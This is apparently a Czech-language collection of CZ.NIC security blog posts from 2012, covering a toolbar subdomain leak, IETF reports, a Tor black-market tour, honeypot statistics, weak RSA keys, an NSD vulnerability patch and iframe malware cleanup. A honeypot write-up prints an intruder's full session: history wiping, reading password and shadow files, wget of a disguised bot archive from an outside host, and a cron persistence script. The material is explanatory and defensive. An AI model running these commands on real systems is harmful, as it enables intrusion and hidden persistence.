Nedávno jsme zjišťovali, jak často jsou navštěvované naše stránky CSIRT.CZ, konkrétně záložka Aktuálně z bezpečnosti. Při tom jsme celkem náhodou přišli na zajímavou věc, která je spojená s doplňkem pro prohlížeč Mozilla Firefox, konkrétně s toolbarem od společnosti Alexa.
Tato společnost je předním poskytovatelem svobodných, globálních webových metrik. Jejich toolbar vám umožní vyhledávat na internetu informace třeba podle klíčového slova, kategorie nebo země. Dále můžete využít i její další nástroje, například pro optimalizaci přítomnosti firemních stránek na webu, analýzu růstu přístupů na web, statistiku nejčastěji hledaných slov na webu vaší společnosti a mnoho dalších.
Tento toolbar používají také někteří naši kolegové, především pro zjišťování návštěvnosti webových stránek. Ukázalo se však, že i takovýto zdánlivě neškodný nástroj může skrývat bezpečnostní riziko. Alexa toolbar totiž funguje tak, že se při přístupu na URL zeptá uvedený toolbar na návštěvnost dané domény na serveru alexa.com. Toolbar Vám pak zobrazí návštěvnost právě navštívené domény a naopak server alexa.com si udělá u domény další čárku za návštěvu. A nyní se dostáváme k jádru problému. Pokud zkusíte na webu alexa.com vyhledat libovolnou doménu, najdete tam také část „Where Visitors Go on“, kde můžete vidět návštěvnost jednotlivých subdomén této domény. Problém nastává, pokud máte subdoménu, například interní.vasedomena.cz, jejíž existenci chcete spíš utajit, aby se například útočníci nesnažili na tuto adresu dostat. Pokud ale uživatelé ve vaší síti používají tento toolbar a zároveň z prohlížeče přistupují na takovouto interní subdoménu, máte na problém zaděláno. Ano, hádáte správně, subdoména se objeví v části „Where Visitors Go on“ u údajů o návštěvnosti vašeho webu.
Pokud jste právě našli vaši úzkostlivě střeženou subdoménu v seznamu subdomén u vaší domény, máte v podstatě dvě možnosti. Používání tohoto doplňku ve společnosti zakázat, nebo se obrátit na technickou podporu služby Alexa.
Nutno říci, že podpora funguje dobře a že je pravděpodobně na tyto situace proškolená. Když totiž založíte nový ticket nebo položíte dotaz, přijde vám potvrzení o přijetí vašeho požadavku. Za pár hodin dostanete další e-mail, kde naleznete také jméno osoby, která vaší situaci řeší.
Podle naší zkušenosti bylo do dvou dnů vše napraveno. Pokud by to šlo, dal bych jim palec nahoru ;-). Podotýkám ale, že společnost nebo žádající osoba musí mít u Alexy založený svůj vlastní účet.
Doporučujeme tedy všem bezpečákům, aby zkontrolovali, zda se na těchto internetových stránkách, nevyskytují také nějaké interní URL vaší společnosti a aby se případně zařídili podle svého nejlepšího vědomí a svědomí ;-).
Michal Prokop
Z IETF 84: SNMP data pod křídla NETCONFu?
Můj druhý postřeh z meetingu IETF 84 se také týká protokolů a nástrojů pro síťový management. Zatímco minulý příspěvek byl věnován konfiguračním datům, dnes bych se rád zmínil o jedné diskusi týkající se stavových dat, která jsou pro efektivní správu síťových zařízení také velmi důležitá. Čím se liší od těch konfiguračních? Rozdíl můžeme ukázat na jednoduchém příkladu IP adresy. Ta může být pro dané rozhraní buď statická, a pak je zapsána někde v konfiguračních datech, anebo se získává pomocí DHCP a její aktuální hodnotu může správce zjistit ze stavových dat. Za stavová data se obvykle považují i různé statistické čítače, kupříkladu počty bajtů přijatých a odeslaných přes dané rozhraní.
Pro práci s oběma typy dat jsou k dispozici dva konkurenční protokoly: SNMP a jeho mladší bratranec NETCONF. Pokud jde o konfigurační data, hovoří vše celkem jasně pro NETCONF, SNMP se v této oblasti neosvědčil a dnes se prakticky nepoužívá. U stavových dat je ale situace do velké míry opačná a SNMP tu zatím jednoznačně vládne. Síťovým operátorům už se ovšem dosti zajídá spravovat sítě pomocí dvou různých protokolů – a začínají se hlasitě ozývat.
Diskuse na toto téma propukla na IETF 84 poněkud nečekaně během jednání pracovní skupiny OPSAWG, když byl na programu Internet draft draft-schoenw-opsawg-vm-mib-01, který definuje část databáze SNMP MIB se stavovými daty pro virtuální počítače s hypervizorem. Rozbuškou však nebyl tento celkem nevinný dokument, ale osoba přednášejícího: byl jím Jürgen Schönwälder, který je jednou z vůdčích figur stojících za návrhem protokolu NETCONF. Dotaz z pléna zněl zhruba takto: „Jestli to s NETCONFem myslíte vážně, proč nás pořád zásobujete novými daty pro SNMP a neimplementujete raději stejná data v NETCONFu?“ Většina diskutujících se pak skutečně přiklonila k názoru, že by bylo velmi prospěšné toto schizma postupně odstranit a mít všechna stavová data k dispozici prostřednictvím NETCONFu.
To se snadno řekne, ale hůře udělá. Převod všech definic objektů z databáze MIB (zapsaných v jazyku SMIv2) na datový model pro NETCONF (v jazyku YANG) je sice možný, vzhledem k vysokému počtu MIB objektů je to ale práce pro vraha, a tak se do ní nikomu nechce. Druhou alternativou, která se již také testovala, je proto automatický převod. Pro tento účel dokonce existuje specifikace v RFC 6643, jehož autorem je shodou okolností rovněž Jürgen Schönwälder.
Jenže, jak víme i z jiných případů, výsledky strojového překladu nebývají zrovna ideální. V daném případě se naráží jednak na některé nekompatibility mezi jazyky SMIv2 a YANG (příkladem je rozdílný způsob indexace objektů v databázi), ale také na problém převodu důležitých informací zapsaných v MIB modulech volným textem – doplňujících popisů a implementačních instrukcí.
Momentálně tedy převládá názor, že automatický převod lze použít ad hoc v případě akutní potřeby přístupu k MIB datům pomocí protokolu NETCONF. Z dlouhodobého hlediska bude ale asi nezbytné podstoupit martyrium spojené s ruční konverzí. Vypadá to tedy, že internetová komunita má v této oblasti o práci postaráno na řadu příštích let.
Ladislav Lhotka
Z IETF 84: standardizace konfiguračních dat
Během posledního meetingu IETF, který měl pořadové číslo 84 a konal se v kanadském Vancouveru, se výsledky mých „kmenových” pracovních skupin NETCONF a NETMOD objevily v zajímavé diskusi na širších fórech, konkrétně v mailing listu ietf@ietf.org, při jednání pracovní skupiny OPSAREA (Operations and Management Area), jakož i v kuloárních debatách.
Diskusi zahájil svým příspěvkem polský kolega Robert Raszuk. Pozastavil se nad tím, že ve specifikacích nových protokolů chybí schéma konfiguračních dat, a navrhl, aby všechna RFC povinně obsahovala oddíl s takovým schématem, protože bez něho si každá implementace vytváří svůj vlastní způsob konfigurace, který nemusí být s ostatními zrovna kompatibilní. Problém je to reálný, kdo by tomu nevěřil, ať si zkusí mezi sebou převést netriviální konfigurace směrovačů různých výrobců (včetně našeho BIRDa).
Navrhované řešení, tedy zavést toto jako povinnost, se ovšem setkalo s jednoznačným odporem. Robertovi se též dostalo doporučení, aby se seznámil s výsledky pracovní skupiny NETMOD, kde se již datové modely pro některé základní protokoly a subsystémy vyvíjejí.
V této souvislosti se ale ukázalo, že datové modely NETMOD tak docela nenaplňují vizi unifikace konfiguračních schémat. Jsou totiž poměrně pružné a umožňují definovat schémata v různých podobách, od odlišností v pojmenování objektů (klasickým příkladem jsou třeba jména síťových rozhraní) až po menší či větší rozdíly v logice a uspořádání konfiguračních dat. Důvody jsou nasnadě: Nelze očekávat, že přední výrobci směrovačů a jiných zařízení po zveřejnění datových modelů srazí paty a překopou svá konfigurační rozhraní, která si po léta hýčkají a školí na nich své zákazníky. Jistá míra pružnosti proto dává naději, že by se konkrétní implementace datových modelů mohly naopak přizpůsobit existujícím konfiguračním rozhraním. Lze pak ovšem očekávat, že nebude možné jednoduše vzít konfiguraci jednoho boxu a instalovat ji beze změn na obdobném zařízení jiného výrobce.
Toto je docela složité dilema, uvidíme, jak se věci vyvinou. Rozhodně by ale bylo dobré, kdyby se specifikace konfiguračního schématu staly součástí standardů aspoň pro nové protokoly – byť třeba nepovinně.
Ladislav Lhotka
Odvrácená strana internetu
Úvodem článku musím říci, že jsem nějaký čas přemýšlel, zda k sepsání tohoto blogpostu přistoupit. Nakonec jsem se rozhodl, že to udělám, protože ten, kdo bude chtít tyto věci zneužít, ten si tyto informace stejně dokáže opatřit a naopak si myslím, že znalost toho, jakým způsobem a kde jsou obchodována ukradená data, může přispět k větší opatrnosti i u běžných uživatelů. Navíc lze očekávat, že s nedávným úspěšným zátahem FBI na prodejce kradených údajů o platebních kartách bude většina těchto obchodů již nadále probíhat pouze v níže popsaném prostředí. FBI totiž při zatýkání uspěla díky spuštění vlastního on-line webu na doméně carderprofit.cc, který měl výměnu a prodej informací o platebních kartách umožňovat.
Screenshot původního webu carderprofit.cc, před tím, než jej FBI letos v květnu vypnula
Jako důkazy pak použila i informace o IP adresách, ze kterých bylo k tomuto webu přistupováno. To by se jí v prostředí, o kterém dnes bude řeč, nejspíš tak snadno nepodařilo získat.
Pro cestu na odvrácenou stranu internetu jsou potřeba dva open source programy: Tor a Bitcoin. Ten druhý pouze v případě, že bychom chtěli skutečně něco kupovat. V našem případě je uveden proto, aby bylo patrné, jakým způsobem probíhá anonymní obchod. Bitcoin je digitální měna, která funguje od roku 2009. Měna je stejně jako běžná hotovost při dodržení určitých pravidel těžko vystopovatelná, tedy se hodí právě k nakupování na černém trhu. Nejprve je třeba nějaký ten bitcoin získat, bitcoin lze bez problémů směnit v příslušné směnárně například za Eura. Jakmile máme bitcoiny, můžeme se vydat nakupovat.
Bitcoinová peněženka
K tomu budeme potřebovat stáhnout Tor Browser ze stránek projektu Tor. Ten má hned dvě zásadní funkce. Jeho použitím zajistíte svou anonymitu a zároveň získáte přístup ke skrytým serverům v doméně .onion, ke kterým se z „běžného“ internetu nedostanete. Skryté servery jsou běžně používány k provozování široké plejády nelegálních aktivit, od šíření návodů na výrobu různých nelegálních chemických látek až po šíření dětské pornografie. Vzhledem k povaze této sítě je totiž velmi obtížné někoho chytit a obvinit. Je však zároveň potřeba říci, že tato její vlastnost je také důležitá a užitečná. Umožňuje uživatelům z nedemokratických režimů anonymně hledat, či naopak publikovat informace, jejichž hledání či publikování by pro ně jinak mohlo znamenat problémy.
Po spuštění tohoto prohlížeče tedy zkusíme přes Google vyhledat slovní spojení Tor Directories. Tím si najdeme v „běžném internetu“ seznamy adres existujících v doméně .onion. Na načtení stránek si ovšem chvíli počkáme, síť je obvykle dost pomalá. Asi nejznámější adresářová služba pro Tor je Nobody@Zerodays.
Nobody@Zerodays
Jeden ze zde nabízených odkazů je například na Hidden Wiki, kde se můžete dovědět spoustu informací, které obvykle lidé znát nepotřebují, od návodů na výrobu drog, až po to, jak si zařídit svůj vlastní server s ilegálním obsahem, tak abyste zůstali nepostižitelní.
Hidden Wiki
Najdete zde také rozcestníky na další nelegální weby, či obchody, kde si můžete koupit cokoliv, od zbraní, přes drogy až třeba po DDOS útok.
Na jedné z .onion adres pak najdete skutečně originální e-shop s názvem Black Market Reloaded. Pro možnost obchodování je potřeba se zaregistrovat, e-mailová adresa pro registraci může být smyšlená.
BlackMarket
Tento obchod nabízí snad úplně vše, co v běžných e-shopech nenajdete. Nástroje na výrobu vlastních platebních karet, odcizená čísla platebních karet, ukradené identity uživatelů, zbraně, drogy, či dokonce trhavinu na bázi C4. Dokonce nabízí i možnosti známé především z běžných bazarových a aukčních obchodů. Kupující tedy může například po realizaci obchodu ohodnotit prodávajícího.
Je libo trhavinu i s rozbuškou?
V doméně .onion by se dala jistě najít spousta dalších „zajímavých“ věcí, se kterými se na internetu běžně nesetkáte, ale pro představení tohoto svébytného prostoru byly myslím předchozí řádky více než dostatečné. Doufám, že tato malá exkurze na odvrácenou stranu internetu pro vás byla zajímavá. A pokud se po přečtení článku také zamyslíte, zda svá data před podobnými obchodníky dobře chráníte, pak článek splnil svůj účel.
Pavel Bašta
Honeynet: kdo se přilepil za poslední 3 měsíce
Jak jsme předesílali při zveřejnění minulého článku, chceme statistiky z našeho honeynetu zveřejňovat pravidelně. Zde jsou tedy výsledky, jak si útočníci vedli od května do konce července 2012.
Nejaktivnějšími útoky byly ze dvou tchajwanských IP adres. V obou případech se připojovali téměř výhradně na port 445 (protokol SMB pro sdílení souborů a složek v systémech Windows), více než 88000-krát. Více než 14000-krát nahrávali jednu variantu viru Conficker (viz analýza serveru Virus Total). Další významní útočníci byli z ruského subnetu 31.29.144.0/21 – v top 10 jednotlivců se objevili hned čtyři:
Při vykreslení na mapě světa sice vedoucí Tchajwan zaniká, zato jsou vidět i ostatní země. Tradičně hodně připojení míří z Ruska, další jsou počtem připojení vyrovnané USA a Čína. Díky jednotlivcům je vidět i Venezuelu a Kazachstán:
Pořadí portů, o které měli tentokrát útočníci zájem, vede zmiňovaný port 445, dále 139 (NetBIOS session service), 80 (HTTP), 1433 (Microsoft SQL Server), 3389 (Remote Desktop Protocol) a 5060 (SIP). Horizontální osa grafu používá logaritmickou škálu:
Proti minulé statistice výrazně narostlo procento rozpoznaných operačních systémů útočníků. Systémy s různými verzemi OS Windows má celkem 69,2 % útočníků, systémy založené na Linuxu s jádrem verze 2.6 9,4 %, ostatní systémy zůstaly neurčené:
Navíc tentokrát přinášíme přehled nejčastěji nahrávaných virů. Celkem jsme zaznamenali 33165 nahrání virů (z toho 600 unikátních). Průměrně tedy jeden virus každé 4 minuty. V tabulce je 10 nejčastějších s jejich identifikací podle antiviru Kaspersky. Kido, který je vidět osmkrát, je jiné označení viru Conficker. Zbylé dva viry jsou z rodiny Genome. Velké zastoupení viru Conficker lze připsat dobře simulované zranitelnosti MS08-067, díky které se šíří.
Pro zajímavost nabízíme nakonec tabulku nejčastějších kombinací, které útočníci zkoušeli při přístupu na službu SSH v červenci. Osobně mě překvapilo heslo 1qazxsw2. Pokud vás taky, tak si ho zkuste napsat na klávesnici.
Jiří Machálek
Tak už nejsme první
S počátkem vzniku technologie DNSSEC odstartovala mezi jednotlivými správci domén nejvyšší úrovně jakási neformální soutěž o to, kdo bude mít více podepsaných domén nižší úrovně. Zde je třeba připomenout, že poměrně dlouho dominovali Švédové, kteří nasadili tuto technologii jako úplně první. Na začátku roku 2010 jsme vedoucí místo získali my a díky úžasné práci našich registrátorů jsme si jej drželi až do tohoto měsíce. V české doméně je v současnosti podepsáno přes 350 tisíc domén. A ačkoliv jsme spíše čekali nový nástup Švédů, novým králem této disciplíny se stal registr Nizozemí. Holanďané mají v současnosti hodně přes půl miliónu podepsaných domén. Je to již druhá příležitost v poměrně krátké době ke gratulaci pro tuto doménu. Nedávno totiž překročili hranici 5 miliónů domén a řadí se tak k největším doménám světa.
V absolutních číslech jsme už tedy pozici ztratili, ale zatím jsme špičkou alespoň v procentuálním podílu podepsaných domén. Dovolte mi ještě jednou českým registrátorům poděkovat za úctyhodných 37 % podepsaných domén. Jen tak dál, snad brzy překročíme i těch magických 50 % a počet podepsaných domén převýší počet těch nezabezpečených.
Ondřej Filip
Jak útočí script kiddies a jak zjistit napadení
Minulý týden jsme na našem honeypotu zachytili několik pokusů o napadení a zařazení do botnetu. Pro zajímavost chci tedy ukázat jeden případ, jak se hacker snažil zneužít systém, který měl záměrně triviální přihlašovací údaje. Na základě prodlev při psaní příkazů bylo poznat, že nešlo o automatický skript. Dotyčný se snažil nainstalovat a skrýt variantu IRC bota EnergyMech, který již dlouho patří do výbavy převážně script kiddies (dokonce se o něm takto zmiňuje Linux Documentation Project). Tuto konkrétní variantu zaznamenal VirusTotal již v roce 2007.
O co se tedy útočník snažil? V první řadě chtěl zamezit ukládání historie zadávaných příkazů přenastavením proměnných prostředí:
$ unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; \ > export HISTFILE=/dev/null; export HISTSIZE=0; \ > export HISTFILESIZE=0;unset HISTFILE; unset HISTSAVE; \ > unset REMOTEHOST; unset REMOTEUSER; unset HISTMOVE; \ > unset USERHOST; history -n; unset WATCH; export HISTFILE=/dev/null
Následně si vypsal základní informace o systému, existující domovské adresáře a nalogované uživatele:
$ cat /proc/cpuinfo $ cd /home $ ls -xa $ cd - $ uname -a $ w
Dále udělal několik testů zda již stroj není hacknutý a zda není nainstalován Parallels Plesk Panel (nebyl):
$ strings -a /usr/sbin/sshd | grep %s:%s -A2 -B2 $ cat /etc/psa/.psa.shadow $ history -c $ cat /etc/ssh/.sshd_auth
Sběr informací pokračoval následujícími příkazy (mimochodem je vidět, že zbytečně některé příkazy spouštěl vícekrát):
$ ps -aux $ cat /etc/passwd $ uname -a $ w $ last $ cd ~ $ ls -xa
Až nakonec přešel k samotné instalaci IRC bota. Ten stáhl do adresáře /dev/shm, kde je připojen virtuální souborový systém tmpfs (může do něj zapisovat každý uživatel). Stažený soubor pochopitelně nebyl obrázek, ale archiv (jméno souboru jsem změnil, abych předešel jeho zneužití):
$ cd /dev/shm/ $ ls -xa $ wget http://magic.ucoz.ae/XXX.jpg; tar xvf XXX.jpg;
Obsahem archivu byly následující soubory:
XXX/ XXX/autorun XXX/bash XXX/inst XXX/m.help XXX/pico XXX/r/ XXX/r/raway.e XXX/r/rinsult.e XXX/r/rkicks.e XXX/r/rnicks.e XXX/r/rpickup.e XXX/r/rsay.e XXX/r/rsignoff.e XXX/r/rtsay.e XXX/r/rversions.e XXX/run XXX/start XXX/update XXX/xh
Dalšími příkazy smazal ze skriptů znak carriage return, zamaskoval hlavní binární soubor přejmenováním na sshd:, aby nebyl nápadný mezi spuštěnými procesy a spustil hlavní skript s parametrem qq určujícím použitý IRC kanál:
$ rm -rf XXX.jpg $ cd XXX $ chmod +x * $ mv bash sshd: $ sed -i 's/\r//' start; sed -i 's/\r//' inst; sed -i 's/\r//' run $ ./start qq
Před odchodem ještě jednou zkontroloval /etc/passwd a smazal historii:
cat /etc/passwd history -c
Ze skriptů v archivu stojí za zmínku soubor autorun, který instaloval watchdog script do cronu:
#!/bin/sh pwd > mech.dir dir=$(cat mech.dir) echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep update echo "#!/bin/sh if test -r $dir/m.pid; then pid=\$(cat $dir/m.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
Dále je důležitý také generátor konfigurace inst, který vybral pro bota náhodné jméno a vytvořil soubor m.set s konfigurací pro každou síťovou adresu systému (pro ukázku zde 192.168.1.1) a soubor s příslušným operátorem bota (192.168.1.1.user):
$ cat m.set SERVER 208.83.20.130 6667 SERVER budapest.hu.eu.undernet.org 7000 SERVER budapest.hu.eu.undernet.org 6666 SERVER zurich.ch.eu.undernet.org 7000 SERVER mesa.az.us.undernet.org 7000 ENTITY 192.168.1.1 ### BOT 1 ### NICK Irina USERFILE 192.168.1.1.user CMDCHAR . LOGIN Peter IRCNAME Olga MODES +iwsx HASONOTICE VIRTUAL 192.168.1.1 TOG CC 1 TOG CLOAK 1 TOG SPY 1 SET OPMODES 6 SET BANMODES 6 CHANNEL #qq TOG PUB 1 TOG MASS 1 TOG SHIT 1 TOG PROT 1 TOG ENFM 0 SET MKL 7 SET MBL 7 SET MPL
$ cat 192.168.1.1.user handle * mask *!*@MagicX.users.undernet.org prot 4 aop 1 channel * access 100
Jak je vidět z konfigurace, bot se připojoval na servery sítě Undernet. Když jsem v izolovaném prostředí bota spustil, byl automaticky sítí Undernet odpojován s hlášením:
Infected with a virus or trojan, please clean your system. Cleaner @ http://www.moosoft.com (P227)
V tomto případě jsou tedy skutečné oběti chráněny provozovatelem Undernet serverů a lze jen hádat, jak by útočník napadený stroj dále využíval.
Z hlediska bezpečnosti mě potěšil fakt, že hned příští den přišlo našemu bezpečnostnímu týmu CZ.NIC-CSIRT varování od organizace Shadowserver o mém pokusu připojit se se zmíněnou konfigurací. Tato organizace zdarma monitoruje autonomní systémy a hlásí zjištěné incidenty. Pokud tedy spravujete síť, vřele doporučuji tyto reporty odebírat. Na stejném webu najdete také doporučení, jak botnet detekovat.
Jiří Machálek
Slabé RSA kľúče v TLS a DNSSEC
Praktických dôkazov, že RSA kľúče s modulum menším 1024 bitov (špeciálne 512-bitových) môžu predstavovať bezpečnostné riziko, sa za posledný rok objavilo viacero. Autori malware zneužili slabé 512-bitové RSA kľúče z certifikátov, ktoré mali vhodnú kombináciu X.509v3 extensions a podpisovali nimi malware. Útočníci v tomto prípade pravdepodobne faktorizovali modulus a získali tak privátny kľúč. Výskumníci tiež ukázali, že „okamžitá“ faktorizácia 512-bit RSA modulu je uskutočniteľná a relatívne lacná (menej než cca $150).
Aj keď to boli najskôr posledné X.509 certifikáty zneužiteľné na podpis kódu (ostatné známe sme našli a sú revokované), stále existuje mnoho serverov, ktoré posielajú 512-bitové certifikáty v TLS handshake, napríklad pri naväzovaní HTTPS komunikácie. Doporučené veľkosti kľúčov k rôznym algoritmom uvádza prehľadná tabuľka vychádzajúca z doporučení ECRYPT II (podrobný popis ako sa k hodnotám dostali obsahuje objemný ECRYPT II Yearly Report on Algorithms and Keysizes 2011).
Našťastie od júla 2012 platia nové požiadavky CAB fóra na certifikáty vydávané od CA – už nesmú mať RSA moduly menšie než 1024 bitov, naviac tie s dlhodobou platnosťou musia mať modulus veľkosti aspoň 2048 bitov. Microsoft tiež čoskoro začne blokovať certifikáty s RSA modulom menším než 1024 bitov. Zmeny k lepšiemu je už vidieť ako postupne CA revokujú staršie certifikáty so slabými RSA modulmi, ale stále sa občas nejaký 512-bit nájde.
Podobný problém so slabými RSA sa samozrejme netýka len TLS komunikácie, ale môže nastať tiež v DNSSEC. Ak útočník kľúč faktorizuje, môže pri man-in-the-middle útoku na DNSSEC falšovať podpisy DNS záznamov (tým pádom aj prípadne meniť asociácie na kľúče a certifikáty pinované cez záznamy typu SSHFP alebo TLSA).
Ako to vyzerá s RSA kľúčmi v doméne CZ? Keď sme robili prieskum DNSSEC kľúčov používaných v doméne .CZ pred pol rokom, tak domén s DNSSEC kľúčom s RSA modulom menším než 1024 bitov bolo mnoho (rádovo stotisíc), pri teste 20. júla 2012 už je ich zásadne menej:
- domén s kľúčom menším ako 1023 bitov: 6635
- unikátnych kľúčov so slabým modulom: 5209
- v dvoch prípadoch sa jedná o Key Signing Key, zbytok sú Zone Signing Keys; jeden z týchto KSK už nie je používaný (ale je v zóne)
- päť kľúčov má 768-bit modulus, zbytok 512-bit
- jedna doména má kľúč so slabým verejným exponentom (3)
- existuje jeden revokovaný DNSKEY RSA kľúč s malým modulom
Pre porovnanie veľkosti kľúča a periódy zmeny ZSK odkážem na blog Erica Rescorlu, kde ukazuje, že priame použitie silnejšieho kľúča prináša lepšiu bezpečnosť než častá zmena (key rollover).
Súčasné doporučenia pre KSK a ZSK RSA kľúče znejú:
- KSK 2048 bitov
- ZSK 1024 bitov
- verejný exponent 65537 (0x10001 hex)
Uvedené hodnoty sú minimálne. Tu zase platí, že ani s veľkosťou kľúčov to netreba preháňat – príliš veľké moduly alebo exponenty majú za následok spomalenie overovania RSA podpisu.
Poznámka na koniec: Teoreticky verejný exponent môže byť aj menší (napr. 3), vyšší exponent ale bráni proti implementačným chybám umožňujúcim varianty Bleichenbacherovho útoku (u schém používajícich PKCS#1 v1.5 RSA padding, stalo sa nedávno u openssl – netýkalo sa SSL/TLS, ale CMS).
Ondrej Mikle
Závažná vzdálená zranitelnost v DNS serveru NSD
Kolegové z vývojového týmu Knot DNS se kromě vývoje také velmi pečlivě věnují testování, kterým se snažíme odhalit jednak chyby v samotném kódu našeho serveru, ale také odchylky od „standardu“ s důrazem na interoperabilitu jednotlivých serverů. Píši „standard“ DNS s uvozovkami, jelikož se jedná o souhrn dokumentů, které jsou někdy velmi nejasné, a jejich výklad záleží spíš na dohodě celého DNS ekosystému.
V rámci tohoto testování kolegové z Laboratoří CZ.NIC připravují také sadu DNS dotazů, které jsou nestandardní a zjišťují chování vybraných open-source DNS serverů (Bind 9, NSD 3,…). Jeden z uměle vytvořených testů, které připravili mí kolegové Marek Vavruša a Ľuboš Slovák, za TSIG podpis DNS zprávy připojoval další prázdný RR záznam (konkrétně prázdný TXT záznam). Při testování se ukázalo, že NSD ve všech verzích 3.x (i vývojové verzi 4.x) obsahuje zranitelnost, která je zneužitelná pro pád DNS serveru z libovolného místa v Internetu. Při přijmutí takové DNS zprávy dojde k dereferenci NULL pointru a NSD spadne s chybou SIGSEGV.
Tento problém jsme kolegům z NLnet Labs nahlásili v pondělí krátce po poledni a hned další den ráno jsme měli v poště opravný patch, který přikládám na konec tohoto blogpostu. V době vydání tohoto blogpostu by také na stránkách NSD měla být k dispozici verze 3.2.12, která tento bezpečnostní problém opravuje.
Jelikož se jedná o vzdálenou zranitelnost, na kterou neexistuje žádný workaround, důrazně doporučujeme v případě, že používáte NSD 3, okamžitě záplatovat vaše DNS servery.
Patch:
--- query.c (revision 3609)
+++ query.c (working copy)
@@ -1379,6 +1379,9 @@
edns = &nsd->edns_ipv6;
}
#endif
+ if (RCODE(q->packet) == RCODE_FORMAT) {
+ return;
+ }
switch (q->edns.status) {
case EDNS_NOT_PRESENT:
break;
Ondřej Surý
Útoky pomocí iframe, jejich maskování útočníky a obrana
Při práci s naší aplikací MDM musíme občas řešit žádosti o pomoc týkající se nalezeného vadného kódu na webových stránkách. Je to celkem pochopitelné, stránky jsou často v provozu roky, nikdo na ně za tu dobu nesáhl a nebo si je držitel nechával od někoho dělat a dnes už třeba na tvůrce webu nemá ani kontakt. Zkrátka důvodů, proč se na nás oběti útoků obrací, existuje celá řada. Proto jsem se rozhodl napsat tento článek, abych mohl názorně demonstrovat, s jakými problémy se nejčastěji setkáváme, jak lze zamaskovaný javascript v kódu stránky nalézt a jak dále postupovat po jeho odhalení.
Jako první krok je vhodné zkusit tento on-line nástroj, který vám může ušetřit hodně času. Obsahuje databázi skriptů a technik používaných útočníky a pokud je na vašich stránkách rozpozná, ukáže vám také zdrojový kód, který je původcem problému. Další podobný nástroj, který Vám může hodně pomoci, je urlquery.net. Ten totiž provede analýzu stránky automaticky a ukáže Vám například, odkud se které části stránky stahovaly. Pokud pak ve výpise uvidíte neznámou doménu, tak máte jasno, odkud se malware vzal. Pokud ani toto nepomůže, je potřeba hledat jiným způsobem, tedy podívat se do zdrojového kódu webových stránek.
Nejčastěji se při útocích setkáváme s použitím tagu iframe. Ten se používá pro vnoření webové stránky do jiné. Konkrétní vložení kódu se pak provádí tagem <iframe>. Snahou útočníků je samozřejmě dosáhnout toho, aby vložený prvek nebyl na napadeném webu snadno viditelný, proto použijí atributy, kterými se vložený frame zmenší na nejmenší možnou velikost a zároveň mu nastaví jeho neviditelnost. Samotné nastavení neviditelnosti by nestačilo, protože vložený prvek by na cílové stránce okupoval určitý prostor, což by bylo nápadné. Proto útočník obvykle použije nějakou takovouto konstrukci:
Pokud tedy na podobný kód směřující na vám neznámou doménu při zkoumaní html kódu narazíte, bude to pravděpodobně to co hledáte. Takovýto zřejmý odkaz by však dokázal i trochu zkušenější uživatel v kódu html najít, obzvlášť, pokud přihlédneme k tomu, že je tento odkaz obvykle směřován na pro nás přece jen trochu exotičtější domény typu .cn. Proto útočníci přistupují i k dalším metodám zmatení kódu. Bohužel takto zamaskovanou změnu již není možné snadno odhalit. Proto se také obvykle setkáváme s částmi kódu, které vypadají asi takto:
Zde již není možné na první pohled jednoznačně určit, zda byl kód vložen dodatečně útočníkem, či zda tam tento kus kódu vložil původní tvůrce stránek. Ve spodní části je v závorce velká řada čísel a písmen. Podle použitých čísel a písmen můžeme usuzovat na použití hex kódu k zamaskování skutečné URL. Jedná se o obvyklou taktiku používanou útočníky. Nyní tedy použijeme on-line dekódovací nástroj, upozorňuji, že je potřeba vzít pouze tuto část skriptu:
Po dekódování získáme takovýto výsledek:
Opět i bez hlubší znalosti JavaScriptového kódu vidíme, že script vkládá do webové stránky iframe odkazující na gstats.cn. Upozorňuji, že se jedná o skutečný kód použitý na jednom z napadených webů. Proto nedoporučuji zkoumat obsah webu http://gstats.cn. Toto platí i pro všechny další ukázky.
Další metodou, jak odhalit pravou funkci podezřelého skriptu, je jeho spuštění. Toto však doporučuji pouze zkušeným uživatelům a pouze v k tomu účelu vytvořeném virtuálním PC nebo v některém sandboxu. K samotnému provedení této akce lze použít například nainstalovaný Firefox a v něm plugin firebug. Řekněme, že máme takovýto skript:
Pro jeho zpřehlednění můžeme použít on-line nástroj jsbeautifier(). Zkopírujeme vše mezi tagy script a na stránce jsbeatifier.org si jej necháme upravit tak, aby pro nás byl více přehledný. Získáme takovýto výstup:
Nyní změníme ve skriptu příkaz document.write(str); na alert(str);. Tím zajistíme, že se výsledek scriptu nepřidá jako součást stránky, ale vypíše se v jednoduchém dialogovém okně jako text. Nyní spustíme firebug, zvolíme konzole a vložíme předupravený skript. Zvolíme spustit a vyskočí na nás okno, kde vidíme kód, který se jinak vkládá do webové stránky. Jak můžete vidět na obrázku, je to náš starý dobrý známý, tag iframe.
A nyní malá soutěž. Na následující kód jsme narazili nedávno. Je na něm zajímavé například to, že obsahuje záměrně zbytečné části, které mají ztížit orientaci v jeho kódu. Kdo první napíše v diskuzi doménu, na kterou se skriptem vkládaný iframe odkazuje, ten od nás obdrží poštou tričko. Malá rada na závěr, zkuste to pomocí funkce console.log a pozor, opět se jedná o ukázku skutečného kódu, je tedy potřeba se skriptem zacházet opatrně. Prohlédnout si jej můžete zde (původní txt soubor byl nahrazen png obrázkem). Kromě správné odpovědi nezapomeňte připojit také Vaši e-mailovou adresu, ať Vás můžeme ohledně výhry kontaktovat.
Na závěr bych rád uvedl ještě pár rad, kterými je dobré se řídit, pokud již takovouto havěť na svém webu najdete. Jak jste mohli vidět, útočníci jsou opravdu velmi vynalézaví a je proto poměrně obtížné se s těmito způsoby útoku vypořádat. Pokud však odhalíte takovýto kód ve vaší webové aplikaci, doporučujeme následující postup:
1. Odpojte webové stránky, případně změňte úvodní stránku, aby zobrazovala pouze informace o údržbě. Předejdete tak dalšímu napadení uživatelů vašeho webu.
2.Než začnete odstraňovat kód, o němž si myslíte, že do vašich stránek nepatří, udělejte si zálohu, pokud ji nemáte.
3. Pokud máte čistou zálohu stránek, použijte ji. Pokud ne, musíte najít a odstranit škodlivý kód ručně.
4. Zkontrolujte, že na žádném z počítačů, ze kterých web upravujete pomocí FTP, nemáte viry, či jiný malware. Dle našich zkušeností je toto častá cesta, kterou se útočníci k heslům dostanou. Pak pro ně samozřejmě není těžké do stránek přidat svůj vlastní kód.
